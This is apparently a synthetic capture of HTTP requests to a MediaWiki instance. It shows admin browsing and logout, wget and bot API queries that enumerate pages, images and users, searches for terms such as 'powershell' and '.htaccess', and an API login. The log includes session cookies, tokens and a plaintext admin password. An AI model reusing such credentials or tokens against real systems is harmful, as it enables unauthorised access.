{"method": "GET", "target": "/index.php?title=Special:Watchlist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.rcfilters.highlightCircles.seenunseen.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.pager.codex%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.special.watchlist%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=xzl3m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Preferences", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.preferences.styles.ooui%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.styles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Coojs-ui-windows%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.editfont.styles%7Cmediawiki.htmlform.ooui%7Cmediawiki.languageselector.core%2Clookup%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.preferences.ooui%7Cmediawiki.widgets.LanguageSelectWidget%2CSelectWithInputWidget%2CUsersMultiselectWidget%2CvisibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1vc9l", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogout&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserLogout", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogout&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": "title=Special%3AUserLogout&wpEditToken=d8d2eb46967072943325a81909a240c96af22684%2B%5C&returnto=Main+Page&redirectparams=returnto%3DMain%2BPage"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserLogout", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&format=json&aplimit=50", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&format=json", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=Lighthouse&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=Lighthouse&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=Lighthouse&apprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Lighthouse+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Lighthouse+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=Lighthouse&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=Lighthouse&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=python3&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=python3&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=python3&apprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Python3+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Python3+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=python3&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=python3&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=powershell&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=powershell&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=powershell&apprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Powershell+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Powershell+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=powershell&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=powershell&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=ls+-la&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=ls+-la&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=ls+-la&apprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Ls+-la+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Ls+-la+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=ls+-la&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=ls+-la&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=.htaccess&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=.htaccess&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=.htaccess&apprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=.htaccess+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=.htaccess+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=.htaccess&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=.htaccess&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=usercontribs&ucuser=Admin&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=recentchanges&rcprop=title%7Cuser%7Ccomment&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=siteinfo&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 189", "Host: example.com", "Cookie: my_wiki_session=vi74m7k2rob8ksr0947hnvb80259kg94", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=clientlogin&username=Admin&password=Example-pass-2026&loginreturnurl=http%3A%2F%2Fexample.com%2F&logintoken=e62ac171de98ca0ccac8d8b9829521566af226a3%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
